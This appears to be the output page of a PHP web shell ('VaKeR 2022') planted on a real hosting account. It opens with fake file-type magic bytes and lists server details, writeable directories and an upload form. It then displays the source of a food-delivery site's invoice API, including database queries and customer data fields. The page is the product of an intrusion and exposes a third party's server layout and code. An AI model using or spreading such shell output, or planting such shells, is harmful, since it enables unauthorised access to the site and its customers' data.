%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/api/download_invoice.php
<?php

header("Content-Type: application/json");

include("../dbcon.php");
include("auth.php");

define('BASE_URL', 'https://meatandgo.fr/');

function response($status, $message, $data = [])
{
    echo json_encode([
        "status" => $status,
        "message" => $message,
        "data" => $data
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
    exit;
}

$order_id = intval($_REQUEST['order_id'] ?? 0);

if ($order_id <= 0)
{
    response(false, "Order ID Required", [

        "required_fields" => [
            "order_id"
        ],

        "example_url" =>
            BASE_URL .
            "api/download_invoice.php?order_id=1"
    ]);
}

/*
|--------------------------------------------------------------------------
| Order Details
|--------------------------------------------------------------------------
*/

$orderQry = mysqli_query(
    $conn,
    "SELECT *
     FROM orders
     WHERE id='$order_id'
     AND user_id='$user_id'
     LIMIT 1"
);

if (mysqli_num_rows($orderQry) == 0)
{
    response(false, "Order Not Found");
}

$order = mysqli_fetch_assoc($orderQry);

/*
|--------------------------------------------------------------------------
| Order Items
|--------------------------------------------------------------------------
*/

$items = [];
$subtotal = 0;

$itemQry = mysqli_query(
    $conn,
    "SELECT
        oi.*,
        p.title,
        p.weight
     FROM order_items oi
     LEFT JOIN areawecover p
     ON oi.product_id=p.id
     WHERE oi.order_id='$order_id'"
);

while($item = mysqli_fetch_assoc($itemQry))
{
    $item_total =
        $item['price'] *
        $item['quantity'];

    $subtotal += $item_total;

    $items[] = [

        "product_id" =>
            $item['product_id'],

        "product_name" =>
            $item['title'],

        "weight" =>
            $item['weight'],

        "quantity" =>
            (int)$item['quantity'],

        "price" =>
            number_format(
                $item['price'],
                2
            ),

        "total" =>
            number_format(
                $item_total,
                2
            )
    ];
}

/*
|--------------------------------------------------------------------------
| Charges
|--------------------------------------------------------------------------
*/

$delivery_fee = 5;
$service_fee = 2;

/*
|--------------------------------------------------------------------------
| Invoice Response
|--------------------------------------------------------------------------
*/

response(true, "Invoice Data Loaded", [

    "invoice" => [

        "invoice_number" =>
            "INV-" . $order['unique_order_id'],

        "order_number" =>
            $order['unique_order_id'],

        "invoice_date" =>
            date(
                "d M Y",
                strtotime(
                    $order['created_at']
                )
            ),

        "customer" => [

            "name" =>
                $order['full_name'],

            "email" =>
                $order['email'],

            "phone" =>
                $order['phone'],

            "address" =>
                $order['address']
        ],

        "payment_method" =>
            $order['payment_type'],

        "order_status" =>
            $order['order_status'],

        "currency_symbol" =>
            $currency_symbol,

        "currency_code" =>
            $currency_code,

        "items" =>
            $items,

        "summary" => [

            "subtotal" =>
                number_format(
                    $subtotal,
                    2
                ),

            "delivery_fee" =>
                number_format(
                    $delivery_fee,
                    2
                ),

            "service_fee" =>
                number_format(
                    $service_fee,
                    2
                ),

            "grand_total" =>
                number_format(
                    $order['total_amount'],
                    2
                )
        ]
    ]
]);

$conn->close();

?>

VaKeR 2022